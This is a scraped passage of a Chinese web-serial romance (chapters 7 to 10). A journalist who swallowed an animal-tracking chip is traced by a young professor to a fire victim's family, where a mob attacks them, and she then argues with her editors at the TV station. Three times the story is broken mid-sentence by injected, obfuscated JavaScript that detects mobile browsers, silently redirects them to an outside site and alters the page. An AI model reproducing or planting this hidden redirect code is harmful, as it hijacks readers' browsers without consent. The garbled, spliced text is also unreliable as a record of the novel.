穆语闻言,下意识就朝实验台方向挪了几步,屋内的气氛霎时间紧张起来。 商拯反手接过黎医生递来的笔状手电,“张嘴。” 许是被屋内凝重的氛围所感染,穆语配合地仰起脸,在大脑还没反应过来之前,就张开了嘴。 穆语生的娇小,商拯比她高出一大截来,即便穆语高仰着头,他也还是得马步屈膝,歪着头才能看得清楚。 商拯大手轻托住她的下巴,掌心传来令人舒适的温度,“吞咽的时候有异物感吗?”他突然开口问道。 穆语闻声,闭嘴向后闪去,这才注意面前男人的模样。 这人的头发也太黑了吧!眼睛也乌亮亮的,被他这么盯着说不上关切,胸腔里的某些器官就莫名骚动起来。 穆语这才后知后觉,被陌生帅哥大剌剌地参观口腔内部,也太难为情了! 思及此处,她的脸腾得红到了后耳根,连忙吞吞口水,慌张答道,“呃,没!” 商拯双手插兜,拉开距离轻叹了口气,他的气息像窗外被阳光晒过的草地,暖暖拂过穆语本就发烫的脸颊,她瞪大眼睛,身体不由自主地僵硬起来。 商拯却不假思索,点头示意黎医生上前,淡淡吐出几个音节,“失礼了。” 语毕,他扶住穆语的双臂,将她一把捞起,轻放在实验台边坐好。 电光火石间,穆语一个失重,本能般地伸手拽住了他雪白的袖口。 商拯像是没有察觉,被拽住的手顺势撑在穆语身侧,这个高度正方便他和黎医生进一步查看。 黎薇宁上前,拆出一次性喉镜和压舌板,商拯一手撑住试验台,一手帮黎医生举起强光手电,抬眸对她说,“别怕。” 7. 第七章 他的声音像蜻蜓在耳边振翅,飞掠而过,又像轻喃自语,穆语来不及分辨,心脏便先漏跳了一拍。 她右手紧撺着商拯的衣袖,在黎薇宁的示意下微微仰面,配合地张大嘴巴,眼睛却止不住瞟向他近在咫尺的侧脸。 这人的皮肤也太白了,被阳光一晒,会发光似的。唇角紧牵着,看起来不太好惹的样子,但发线边上的耳朵,却看起来很软很软。 她还从没见过有人的头发能黑成这样,白雪公主吗? 想到这个比喻,穆语忍不住先笑了开来,一双弯起的眼睛,变本加厉地绕着商拯的颈边来回打转。像是察觉到她肆无忌惮的视线,商拯忽一垂眸,将她抓了个现行。 穆语大惊失色,本能向后躲去,没料压舌板碰到喉头,竟惹得她掩唇就是两声干呕。 穆谨言闻声急忙上前查看,“怎么样?” 黎薇宁俯身确认穆语无碍后,收起手中的工具,冲穆谨言摇头道:“芯片已经不在肉眼可见的范围内,需要拍片子进一步观察。”说着,她侧眸同商拯交换了一个眼神,继续补充道,“但是,芯片表面的仿生物凝胶,材质特殊,即便拍了片子,也不能够保证,一次就找到它确切的位置。” “什么意思?”穆谨言眉头紧锁神情严肃。 商拯开门见山地说道:“穆总,我必须负责任地告诉你,这款产品适用于动物体征监测,从设计之初,就并未将人体列为适配范围,更未经过任何人体测试。虽然我们在材料的使用上,排除了生物可能触发的四类变应原,但仍然不能保证,穆小姐的身体不会出现过敏或者其他排斥反应。” 他低眉注意到被穆语拽在手里的袖子,不动声色地抽了抽手,“我的建议是,找到芯片位置后立刻手术。” “手术?”穆语闻言大骇,把袖子攥得更紧了些,并终于露出了紧张自己的神情。 “运气好的话,或许明天就能排出。”商拯向穆谨言解释,“凝胶的吸附力会随生物体的自主代谢下降,最终排出体外,目前动物实验的过程中,尚未出现排异情况。” 说到这,他微一犹豫,“接受过测试的体型最大的标本,代谢周期在三个月左右。” 穆语的注意力全然被商拯的介绍所吸引,秉持着记者刨根究底的职业习惯,她好奇地凑上前去,“请问是什么动物?” 商拯回眸,吐出一个字——“猪。” “……” 片刻,商拯扬眉,率先打破室内诡异的沉默,“黎医生,带穆小姐去检查。” 穆语闻声滑下实验台,依依不舍地松开商拯的衣袖,跟在黎薇宁身后出了门。 事已至此,穆谨言收回目光,对屋内两人正色道:“造成现在这个状况,也有我不可推卸的责任,现在说什么都太迟了,唯有恳请二位,能够确保家妹的安全,尽快取出芯片。” 李珀见穆谨言这么说,是顺杆就爬,“穆总,我们一定竭尽全力保证穆小姐的安全。” 商拯这会还在气头上,斜睨了李珀一眼懒得表态,垂眸拂过自己被捏皱的袖口,头也不回地跟了出去,“我去放射室。” ***** 穆语穿着宽松的病号服,被安排到不同房间进行花样百出的检查,这会儿刚照完一台机器,浑身沾满黏糊糊的凝胶。 在洗手间简单整理后,她出门左拐进入一条走廊,努嘴烦躁地将指间多余的凝胶蹭在衣服上,满面愁容地掏出手机,见四下无人,闪身躲进间没人的实验室。 她咬唇忐忑地拨通田七的电话,没说几句便将脑袋怼在门边,急得直挠墙,“七哥,什么叫不给开门啊?” …… “我现在联系不上她。” …… “谁让你长得不像好人。” …… “别跟我提刘伟人那个臭老头!” …… “我要是能过去,就不找你帮忙了。” …… “哎呀算了算了,你先回台里做好准备,我尽快溜出去搞定材料。” 截至今晨,“金鸡大厦‘7·23’重大火灾事故”已导致三人死亡、五人重伤,一名消防员牺牲。话题高挂在热搜榜最醒目的位置,营销号发文造成的余波不断发酵,对分包单位与相关施工人员的讨伐声,正暴戾地充斥着整个社交网络。 事发第一时间,穆语便通过派出所民警,得到现场十一名施工人员的基本信息。当晚负责焊接工作的三名工人中,仅一人幸存,此刻正躺在A市中心医院的重症病房,尚未脱离危险。 咬定三人皆为劳务公司临时分派人员的黑心企业,拒不提供符合施工资质的证明材料,将员工再一次推向舆论的风口浪尖,穆语只好寄希望于他们的家人,公开相关内容,以暂缓网络对无辜者的暴力相向。 幸存工人有个高三在读的女儿,虽然穆语通过校方,很轻易地取得了她的联系方式,但由于网络暴力,她已无法正常在校学习,所有消息也石沉大海般毫无回音。 穆语不死心,通过学校贴吧,找到女孩校内网的账号,顺藤摸瓜,成功从线上与当事人取得联系。可正遭受着过度骚扰的女孩,如履薄冰,始终无法相信穆语的来意,几番努力,才终于接受了她到访的请求,怎料她却因为这等荒唐的缘由,被生生围困在此。 穆语挂断电话,霜打得茄子般,回身重重地叹了口气。 就在这时,余光倏地瞥见角落里一道细长的人影,吓得她向后弹去,后脑勺不出意外地跟背面坚实的墙壁,来了个亲密接触。 她眼冒金星,吃痛地捂住脑袋,忍不住大声埋怨:“你怎么不出声啊!” 商拯无辜地放下手中的报告,“你没给我出声的机会。” 穆语心力交瘁地想,或许自己需要连脑袋一起看看,她咬唇,怪不好意思地拢起敞开的衣襟,抬头打量起眼前这位过于年轻且美貌的教授,念着说些什么才好缓解尴尬。 商拯从角落里的圆凳上起身,颇有点先发制人的意味,“不是我故意听到你的通话内容,但我不赞成你想‘尽快溜出去’的计划。” 穆语心中警铃大作,皱着鼻子冲他露出一个极尽讨好的微笑,“您可以假装没听见吗?” “可以,”商拯不假思索,拿起桌上的超声图走近几步,“但是你检查的几项结果都不太理想,怕死的话,最好不要离开这里。” 他当年只学习了一半的《医患关系学》和《医学伦理学》便匆匆转院,因此并不在意自己威胁“病人”这一举动是多么的恶劣。 穆语可不是被吓大的,但人类在极度恐惧时往往会感到愤怒,于是她叉着腰有些不合时宜地与他理论起来。 “教授大人,您不会拿我当三岁小孩吧?这么大点的东西吞进肚里,我最糟糕也就是个上吐下泻,顶多脱水昏迷,要不了命的。我哥他就是这样,对我的事情总是过分紧张,你们随便打发他一下就行。” “首先脱水昏迷也有可能要命,其次,你还有中枢神经受损口眼歪斜半身不遂急性脑炎导致心肺功能衰竭的风险。” 穆语闻言倒抽一口冷气,颤巍巍地再次确认道:“您不是说,猪吃过也没事吗?我应该,没那么倒霉吧?我对自己有信心!” 说完,像是怕引起什么歧义似的,紧接着补充道,“我是说,我对自己的人品有信心。” 这什么乱七八糟的逻辑?商拯没什么耐心地咬紧后槽牙,“我对自己的产品也有信心,但是未免造成不必要的麻烦,还请配合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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穆语见状,感到有些不安,起身在室内来回踱了几步,就听见门外隐约传来争执,还未等她反应,商拯便独自进来,将门“砰”地摔在了李珀的鼻子上。 黎薇宁见状颇感意外,商拯平日虽不苟言笑,有些不怒自威的感觉,却还是头一次表现出如此拒绝沟通的样子。 商拯手里捏着李珀方才高举的那部手机,蹙眉看看手机,又抬头看看穆语。 “你可以走了。” 穆语张嘴,半天才发出一个充满疑惑的音节,“我?” 商拯点头问她:“你要去的地方远吗?” “不算远,您要送我?这多不好意思!”附近不好叫车,穆语听他如此问道,顿时喜逐颜开。 “不远送了,再见。”商拯置若罔闻一般,低头专注地划起手机。 穆语咬牙气呼呼地握紧拳头,全无方才假装客套的谄媚劲,“这是你让我走的,可不是我硬要走啊!” 她说着,拿起沙发上自己的东西,大步流星地朝屋外走去,一路小跑下了楼梯,加速穿过商拯办公室窗前那片开阔的草地,比预计离开的时间还要早出不少。 艳阳斜挂在夏日穹顶的边缘,流火般的热浪卷起沥青路面蒸腾的雾气,林荫路两侧蝉声嘶鸣,穆语生怕穆谨言突然从大门杀出来拦住自己,逃也似的飞奔出去几条街,才跳上一辆出租车。 屋内黎薇宁也是满腹狐疑,冲商拯摊了摊手,希望他给自己一个合理的解释,无奈未果。 商拯俯首凝神,蹙眉紧盯掌间屏幕上那颗小小的红点,对黎薇宁的质问恍若未觉。 这是正常人类移动的速度吗?数据收集上果然还是存在问题,嗯,没错,远点,再远点。 就这样旁若无人地站在原地瞧了许久,他终于抬起头来,跟着手机上的小小红点,追了出去。 8. 第八章 出租车在失修已久的路面上颠簸,艰难地驶过一片老旧的城区。 街道两旁愈显荒凉,半晌,师傅将车停路边,“前面地铁站在施工,开不进去了,小姑娘你从这个口子往里走两百米就能到。” 穆语探头,往师傅手指的方向伸了伸脖子,一面接过他递来的票据,“师傅,这么偏的地方在修几号线啊?” “十九号线嘛!咱A市地方大,偏偏人挤人,现在的小年轻也是真不容易,这么偏到市区怎么也要两个多小时的。”他回头看了穆语一眼,努嘴摇头连声抱怨,“哎,到处拆得乌七八糟。” 穆语冲他笑笑,点头不置可否,“谢谢师傅!” 她下了车,垂眸再次确认手机导航的位置后,穿过前方坑洼的窄路,进入司机师傅指引的那个小口。 此处原本应是一条开阔的马路,但由于施工需要,眼下两旁皆被深蓝色的围挡高高拦起,只余一条供行人与非机动车通过的巷子。围挡内不时传来施工机械隆隆的噪音,尘土飞扬,将远处烫金色的夕阳染得雾蒙蒙的。 穆语掩鼻一路小跑,却没想穿过巷子,眼前又是一番别样的景象。 道路前方,一排三五层高的居民楼,将落日的余晖拦腰斩断,拆迁后尚未清理的废墟,在暮色下显得死气沉沉。斑驳的墙皮成块掉落在路边,露出猩红色受潮的砖墙,太阳毫不吝啬地给残破的楼顶镶上条金边,穆语穿梭其间,竟颇感魔幻。 不一会儿,她在一扇锈得看不出颜色的单元门前站定,咬唇艰难地辨别墙上号码牌的数字,防盗锁像是坏了许久,轻轻一推,门便“吱呀呀”地打开了,女孩家就位于这栋楼的一层。 楼内光线阴暗,昏黄色没有一丝温度的声控灯闪烁着亮起,发霉的腥臭味扑鼻而来。 穆语不必注意门房号,就一眼确认了女孩家所在的位置——不远处某户房间的门外,被人用红油漆大写着“凶手”“杀人犯”这些触目惊心的字样。 她轻叹一声,上前敲了敲门,又伏在旁边仔细分辨屋里的动静,“吴佳,你在里面吗?我是之前联系你的记者穆语,能给我开门吗?”说着,她又敲了敲门,仍是无人回应。 “现在门口只有我一个人,我是来帮你的,请你相信我。”穆语听见屋里传出碗碟碰撞的声音,再接再厉道。 “骗子。”门内传来的女声充满戒备,“你答应过,不把地址告诉别人的。” 穆语闻声却是如释重负,上前一步连声解释,“对不起,都怪我没能按时赶来。上午那个人是我最信任的工作伙伴,我有事先在网站给你留言,但你一直没有回复我。吴佳,我们的时间不多了,可以让我进去吗?我们真的很想帮你!” 屋里的女孩沉默片刻,将门打开一条窄缝,不满道:“你小声点行不行?” 穆语忙掩唇不好意思地点了点头,侧身半是硬挤进去,吴佳转身关门,拉上保险链后又多上了一把大锁。 屋内点着功率不高的白炽灯,进屋就是间促狭的厨房,穆语这才注意到,厨房有扇正对门外走道的内窗,现在却被人用一块木板从里面钉了起来,吴佳像是注意到她的视线,“前两天有人来闹事,我怕他们砸破玻璃,就自己从里面钉死了。” 穆语点头掏出相机,征求吴佳的同意,“请问我能拍照吗?不过未经你的允许,是不会用到节目里面的。” 吴佳探究地盯着她片刻,点头应允。 眼前的女孩身材瘦高,面容清秀,嘴唇紧绷成一条倔强的弧,正警觉地看着自己。她校服的袖口被洗得有些发白,但却清爽干净,手不安地在身前交握着,像只受惊的小鹿。 她不发一言地带穆语进了里屋,屋内只简单摆放着两张木床,书桌紧靠在两床之间,显得相当拥挤,靠近阳台的床上还躺着一个苍白的女人。 “妈,这是电视台的记者,为爸的事来的。”她用方言跟里面的女人解释,女人闻声撑住床沿艰难起身,想谢谢穆语。 穆语连忙摆手,上前两步扶住她,“阿姨,我还不知道能不能帮上忙。” “我妈肺癌,家里没钱,被医院劝回来的。”吴佳说着,将事先准备好的证书文件拿出来递给穆语。 穆语接过资料翻了翻,资格证书是去年续期的,仍在有效期内,还有几张职业竞赛的奖状和一些一零年后的用工证明。 “我爸干这行干了一辈子,他总说自己没本事,只会这个,但做好了也饿不着我们。”吴佳扯着嘴角在床边坐下,声音有些哽咽,“也不知道他现在是死是活,能帮我们跟医院说说吗?就看一眼也好……” 角落里吴佳的母亲无声地抹着眼泪,穆语见状为难地抚上她的背脊,“医院那边还有很多记者,你父亲又在重症病房,探视的话恐怕有些难度,不过我们可以尝试和医院交涉。” 穆语心知此时所有的安慰不过徒劳,刚满十七岁的女孩,如何承受那么多同龄人难以想象的压力,她只想为她做些力所能及的事。 穆语打定主意,将资料整理好小心地夹进包内,“我马上就带这些材料去台里核实,如果可以的话,我们直播的时候希望能和你连线。” “我不同意。”女孩态度坚决。 穆语重重呼出一口气,不知如何开口才能保全女孩摇摇欲坠的自尊,“吴佳,你的声音很重要。你父亲的用工单位,分明掌握替他们正名的材料,却拒绝提供,为了挡住舆论的炮火,一个莫须有的第三方就这么凭空出现,因为他们知道自己无法逃避事故责任,所以选择用一种投机取巧的方式,去规避大部分的责任,这是不公平的。” “可是这和我们有什么关系?” 片刻静默后,穆语启唇沉沉开口,“其实在联系你之后,我用一些手段,也陆续联系到了你父亲两位已故同事的家属。” 女孩闻言眼神闪烁,逃也似的望向别处。 “我很好奇,是什么让受害者放弃据理力争的机会,于是我假装自己是开发商,只简单几句话,就拿到了其他两家收受‘封口费’的证据……我想你们家,应该也收到了一笔不菲的‘补偿’吧?” 女孩听到这里掩唇啜泣,肩膀不受控制地抖动起来。 “我不是当事人,没有评价任何人的资格,但你们是受害者,你们理应得到补偿!而那些混蛋,为了逃避对其他家庭的责任,引导舆论不仅攻击他们,更猛烈地攻向你们!你父亲还在昏迷,没有人可以还原当晚施工现场的状况,工人或许真的负有责任,但绝不会是大部分的责任!” 独自紧攥证据的每一天,穆语都仿佛在漩涡里挣扎,她原本可以直接公开那些证据,但良心又不断地谴责着自己。 新闻记者没有评判他人选择的权利,那些钱很可能是受害者用来生存的唯一倚仗。 这一切她都明白,可事实是,他们接受了那笔钱,便会有更多遭受殃及的家庭,需要独自面对这无妄之灾。 无力感又从很深处的心底冒出头来,穆语想,但那样的话,就有一个真相,是从她的沉默开始消亡。 “如果我们被报复怎么办?我只想我爸活着,我想读书、工作,赚钱治好我妈的病,你告诉我这样很自私吗!” 穆语摇头,眼睛里盛着恳切的水光,“如果分包商逃避了接下来的调查,官方一旦将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443402|169405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事件简单认定为工人的过失,那么真相会被永远掩盖。没有人知道不合规定的大楼是如何建成,没有人知道建成后是谁准许它经营,也没有人知道,有多少栋同样的大楼正像定/时炸弹一样存在我们之间。你的家庭,就是舆论的靶心,我只想让你明白,你的声音很重要。” 局促的房间里,不时传来女人隐忍地呜咽,卫生间滴答的水声,也没能将屋内几人焦灼的心给降降温。 穆语抬头看了眼墙上的挂钟,将相机收好,“我还是会想办法公开你父亲的材料,以匿名的形式。如果改变主意,你知道怎么联系我。”说完,她又回头瞧了眼角落里苍白的女人,转身向门口走去。 吴佳低垂着单薄的脖颈,一言不发地打开门上的锁,待她离开后,她还会再次一把一把地将它们锁起。 穆语这么想着,抬脚便听见单元门前传来阵阵嘈杂的人声。 一队人马吵吵嚷嚷地往她们的方向冲撞过来,带头身材魁梧、皮肤黝黑的男人笑道:“哟!来得早不如来得巧!” 吴佳瑟瑟发抖僵在原地,嘴里喃喃念着,“他们来了,他们来了。” 穆语见状一把将她塞回门内,砰地落上锁,转身迅速打开手机的摄像功能,将镜头对准面前来势汹汹的众人。 佩戴白色孝带的中年女人毫不客气,向前上手就狠狠搡了穆语两把,“你谁啊!你谁啊!拍什么拍!”她的嗓音在走道的回响下愈显尖利。 “我是电视台新闻中心的记者,你们有什么需求都可以告诉我。”穆语被搡得向后踉跄,一边腾出手来掏出证件,“没有必要用这种过激的方式……” 当前的中年女人发出一声哀嚎,“我男人都死了!死了!他们是杀人犯!不赔钱我跟他们没完!” 穆语提高音量,“我了解,您是想要赔偿,但是这家人赔偿多少,需要法院说了才算,您现在应该去您丈夫的雇佣单位,请他们联系保险公司进行理赔,如果你们需要,我可以帮你们联系。” “净说些没用的!” “杀人犯就该死!” “我儿子还那么年轻!” “后半辈子全完了!” “赔钱!” “偿命!” …… “请你们回去吧!”穆语的劝告淹没在众人悲愤的叫喊声中,边上几个上了年纪的男人,探身越过穆语,用力捶打她身后女孩家的大门,其他人见状纷纷涌了上来,将臭鸡蛋和碎石头砸向那扇被吴佳用木板封住的内窗。 “他家只有一个孩子在了,你们也为人父母,怎么能这样对待一个孩子!”穆语顾不上手机镜头,坚持扬声阻拦,“你们现在的行为是违法的!请你们回去吧!” 就在这时,门从里面被人打开。 穆语惊讶地回头,见女孩大半张脸已被泪水打湿得不成样子,还未来得及反应,就被她大力往后拖去,女孩则是上前一步,倔强地仰起脸,冲着众人高喊道:“不是我爸爸的错,我们没有错!” 语毕,狭长的走道内有一瞬沉寂,紧接着,众人一窝蜂地朝吴佳和穆语包围过来,鸡蛋和面粉直往两人脸上招呼。穆语一手紧握手机,一手半抱住试图上前还手的吴佳,不知被谁扯住了头发,连颈边也传来抓伤般的刺痛。 走道内的动静,引得楼内邻居纷纷开门探视,却无人上前阻止。 穆语索性放弃拍摄,埋首将吴佳死死护在身下,就在她正要感到绝望的那刻,有人奋力拨开闹事者,不由分说地将她拉入怀中。 她的眼睛被臭鸡蛋糊住,不辨来者,只伸手胡乱抹了把,就眯眼瞥见胸前一只雪白的袖口。 9. 第九章 商拯揽住穆语的肩膀将二人转向里侧,撑住门框的指节因为用力而微微泛白,仗着肩宽腿长,只用脊背便替她们挡住了大部分攻势。 他垂眸蹙眉瞧了眼身下的穆语,这厮已经准确地找到了他身上仅存的一处,未被污染的衣襟,挥着小爪,抓起就往脸上擦去,商拯见状半是无奈半是恼火,只好将希望寄托在更靠近门边的陌生女孩,启唇提醒道:“开门。” 女孩这才回过神来,手忙脚乱地在黢黑的光线中摸着锁眼。 穆语余光瞥见,忙转身替女孩打开手机的闪光灯照明,三人合力拦住企图破门而入的闹事者,关门时已是精疲力竭。 闹事者见未能求仁得仁,变本加厉地将门窗捶打得砰砰作响,穆语回身刚想拨打报警电话,手机便被商拯从指尖抽走,“报过了。” 穆语这才发现,他雪白的大褂已被秽物染得惨不忍睹,墨泼的发线淋着层灰白色的面粉,连刘海也被蛋液糊成屡屡分明的样子。 “你怎么来了?”在脸蛋狼狈地映衬下,穆语眸中星子般闪着狡黠的光,随即想到什么似的,忽地瞪大了眼珠,“我真的要死了?” 又来了! 商拯不自然地移开视线,俯首尝试掸去褂子上挂着蛋液的面粉,未果,没好气地反问她:“挨打就是你说的‘非常重要的事情’。” 穆语捋了把头发上成泥的面糊,心虚地来回打量着三人身上一塌糊涂的糟糕痕迹,她和吴佳也就罢了,但商拯未免受了委屈,要是回头再跟穆谨言告上一状,吃不了兜着走的可就是自己了。 这么想着,穆语踮起脚抬手就朝他后脑头发上的面粉拍去,连声讨饶,“连累您了,实在抱歉,求您回去可千万别告诉我哥。” 商拯不动声色地侧身,试图躲开穆语不断向他拍来的手掌,又看她极为恳切、满怀歉意的眼神,不由放弃抵抗般微微俯身,梗着脖子任她拍打。 穆语冲他谄媚一笑,“教授,您怎么知道我在这?” 商拯褪下褂子,向内团起随意抹了把脸,抬眼打量屋内,大体是成长环境优渥的关系,他还是第一次在城市里见到如此老旧房子。 方才那伙人来势汹汹,见事态不妙,他赶在他们还没来得及跟穆语发生肢体接触前,先一步报了警。 此时商拯心下很多探究,却并未露出失礼的表情,开口刚想回答穆语的问题,门外便传来社区民警对闹事者们的呵斥声。 ***** 不久,门外的响动逐渐归于平静,穆语小心翼翼地打开门向外探去,只见入口处一片狼藉,社区民警照例上前问询,“是你们谁报的警?” 见女孩们不约而同地看向身后一个高大的男人,两位民警也将目光投向对方,商拯瞳孔地震无声地张了张嘴,“是我。” “说说吧!怎么回事?”民警说着,调整了一下胸前佩戴的执法记录仪,大有“你有权保持沉默,但你所说的每一句话都将成为呈堂证供”的意味。 商拯,一个出生在高干子弟大院,从小深受科学文化知识熏陶,根正苗红的四有青年,即将接受人生中第一次,来自人民警察的问询。 要说丝毫不慌,那是骗人的,况且他根本就不了解事情的来龙去脉。于是,平日在上千人次的讲座上,侃侃而谈、出口成章的商拯,一时语塞,只得朝穆语投去一个求救的眼神。 穆语会意,连忙抢着接过话头,“警察同志!我是电视台新闻中心的记者,这是我的证件。”她掏出证件递了过去,一面事无巨细,但却简洁高效地同两位民警解释着事件的前因后果,吴佳在一旁补充说明,很快便连商拯也听得入了神。 “事情就是这样了,这位是我的当事人,也是这间屋子的住户。”穆语面向吴佳介绍道,又转身面向商拯,“这位是……”方才还滔滔不绝、对答如流的穆语,此时陷入了短暂地静默,“是我朋友,多亏他赶来及时报了警我们才得救的。” 民警尽职地多做了些记录,又再三确认几人是否受伤,嘱咐他们注意安全后,直到太阳彻底下山,才离开此处。 穆语身心俱疲,离直播只剩不到两个小时,她顾不上旁的,拉上商拯便准备往电视台赶去。 “对了,”她转身望向同样难掩倦意的吴佳,“那是很容易想到的调查方向,我们不能保证他没有去做同样的事,如果有另外的人找上你,你的处境一定不会变得更主动,至少到那个时候,让我来帮你好吗?” ***** 穆语小跑两步,紧追在商拯身后,夜幕下老街区的小巷不似来时,穆语跟着商拯的足迹也走地跌跌撞撞。 “阿拯,你要是不答应送我回台里,我就不麻烦你了。”自从穆语跟民警说过他们是朋友后,便开始毫不客气、没羞没臊地直呼商拯的小名。 商拯停下脚步再次强调,“我们还没这么熟。” “我们可是在警察同志面前认证过的朋友,怎么能欺骗人民警察呢?况且我们本来就算是患难之交,你别这么小气嘛!”穆语自顾往前走着,“你瞧咱,都有心电感应了,不然你怎么能正巧经过这里呢?” “不是正巧经过,是特意找来。”商拯伸手拽了把走错方向的穆语,引她往另一面车子停靠的路边走去。 穆语脑海中涌现出一万种他特意找来的原因,排在C位的那个,果然还是——“我有生命危险。” “上车。”商拯轻叹一声。 穆语转着眼珠子一屁股坐进副驾,主动系好安全带,连声哀求,“去电视台嘛!我求您了,现在回家我就出不来了。” 他发动车子驶上主路,“你不好奇我是怎么找到你的?” 穆语飞快将相机里的照片和视频一股脑传给田七,又专注地编辑了一条简报,这才如释重负地回头对他,“我准备好了,请讲。” 商拯却不发一言,只将自己从研发中心带出来的那部手机递给了她。 穆语狐疑接过,屏幕正显示着一张极简的地图,仔细分辨也只能看出一些片区的轮廓,放大显示着主路却并未标明详细名称。 “我认路,不用看导航,前面上高架,经过两个出口后下闸道,下去以后我再跟你说。”穆语将手机递还给他,忍不住吐槽,“你这什么刚出土的导航,还不如看旅游指南靠谱。” 商拯并未伸手接过,专注路况,只说:“这不是导航。” 穆语闻言,滑动手指又是一番探索,地图上闪烁的红点显然是他们正在行驶的车辆,“这个心率是什么?你们公司也做运动监测系统……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443403|169405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半晌,穆语不可置信地抬头,指了指手机,又指了指自己,“这是……” “芯片激活的条件是受测生命体体温与表面湿度达到阈值,并且持续自主搏动。”商拯抬头看了眼后视镜中的穆语,给予她一个肯定的答案,“是你。” ***** 入夜时分,电视台媒体中心的建筑群依旧灯火如昼,一楼大厅内工作人员来回穿梭,忙碌的样子与白日里并无二致。 商拯将车稳稳停在位于穆语节目组楼下的停车坪,当又一组装扮夸张的演员从他的车前经过,他终于开始对自己主动告知穆谨言,穆语正同他在一起的这个行为,感到悔不当初,“我在车里等你。” 穆语俯身从车窗外向内看去,商拯脸上当真明晃晃地写着“不打算下车”几个大字,她如意算盘打得响亮,怎么肯让到嘴的鸭子说飞就飞,“你得跟我一起上去,不然等会儿保安查过来会赶你走的。” 说着,她打开驾驶舱的门,替他解开安全带,半拖半拽地想拉他下车,怎料蚍蜉撼树般扯了半天,商拯那厮却仍是纹丝未动。 “我说真的,最近我们这总有人来闹事,要死要活恐怖得很,之前那种情况,你也是亲眼所见,安保严格也是情理之中。”穆语不死心,手上力气没松,就连嘴上胡话说得也更来劲。 商拯闻言,只好将信将疑地随她去了,见她在身前一副欢欣鼓舞、小人得志的样子,就知道自己多半上当受骗。 穆语对上交的简报本就没底,心中偏又在意结果,眼看离直播的时间越来越近,一想到来不及送检证明材料,更是心跳如雷。 两人刚一前一后进入电梯,那部手机便在商拯衣侧的口袋内,响起急促刺耳的蜂鸣声。 商拯蹙眉观察屏幕上穆语心率的变化,大概是针对动物设定的默认值过低,没超过太多便开始示警。 芯片能在人体正常作用,商拯并不意外,但他确信会存在某些他们尚未知晓的风险。 “穆语。”他轻唤她一声,向她伸出了手。 穆语见状,鬼使神差地将自己的手递了过去,他轻握住她的手腕,瞄了电梯内时钟指针跳跃的节奏,默数她的脉搏。 腕间传来商拯掌心熨帖的温度,二人的气息在电梯密闭的空间内纠缠起来,穆语一时色迷心窍,脸颊染上坨红,心脏越跳越快。 手机又响了起来,屏幕显示监测到的心率正以危险的速度不断上升,他松开她的手,困惑地瞥了眼一旁故作镇定的穆语,暗道传感部分果然存在问题,必须想办法校准才行。 离节目直播不到半个小时。 穆语提前收到田七打来的小报告,长吁一口气,出了电梯便领着商拯奔往刘伟人的办公室。 奚蕊跟几个编导正在里面,就穆语不多时前发来的简报讨论得热火朝天,见穆语回来,几人冲上前去揽过她问个不停。 “三名工人家属都联系到了吗?” “其他两个没证明材料怎么播?” “时间来不及了,容易出事故。” “有证明又能说明什么问题?” “取材太有煽动性,你们组能不能专业点?” …… “停停停!”穆语几次试图打断他们未果,又急又气。 10. 第十章 办公室内几人的争论,没有因为穆语的喝止而停下,不多时便已上升到新闻伦理学的高度,这群人维护起自己立场的架势,不亚于泼妇骂街。 商拯怕是没见过这阵仗,穆语想着,回头安抚地冲他点头微笑,小场面,毛毛雨。 “嘿,Siri!还有十五分钟!”导播在这时满面春风地探身进来打断众人,提醒奚蕊的同时,不忘唤醒大家的手机助手。 话音刚落,“滴滴”的提示音在办公室内此起彼伏地响起,众人却不似平日玩闹嬉笑的模样,来人敏锐嗅到屋内一股浓重的火/药味,只轻声抱怨了句,“主播大人还没化妆。”便又灰头土脸地钻了出去。 穆语瞅准时机,深吸一口气,两片嘴皮子机关枪似的朝他们发起反攻,“你们可能没想到吧! “其实三名工人家属我全部联系到了,至于你问为什么只拿到其中一家证明,事后我会单独给刘主任一个合理的解释。另外田七已经把素材全部剪辑好了,简报已经发到每个人的邮箱,你说来不及是不是在质疑同事的工作能力?还有请问大家,聚众闹事的视频是不够真实呢?还是有PS痕迹呢?怎么就没有说服力?最最重要的是,你,居然说我的素材有煽动性?你到底有没有看过我发的稿?单纯公开证明材料、现场画面、不加评论,请问我煽动谁了?我看不客观缺乏专业素养的是你才对……” “穆语!”靠近窗户的刘伟人咋舌喝道:“已经决定今天按住的项目就不要再争了!你们都出去!” “什么时候决定的?稿件是我发的,要按住通知我了吗?”穆语原本就还在生他的气,当即抻着脖子就跟他吵红了脸。 刘伟人正因为这个事情焦虑为难,此时更是来了脾气,“我现在就通知你,还通知你以后不许再跟这个案子!明天给我乖乖来办公室打卡,要么就给我卷铺盖走人!” 办公室内方才争论不休的几人,生怕引火烧身般陷入沉默,只有奚蕊上前毫不嫌隙地揽过浑身腥臭的穆语,“主任,小语她……” “你赶紧去准备,出了直播事故你负全责!”刘伟人打断奚蕊,烦躁地抓了抓颅顶没剩几根的头毛。 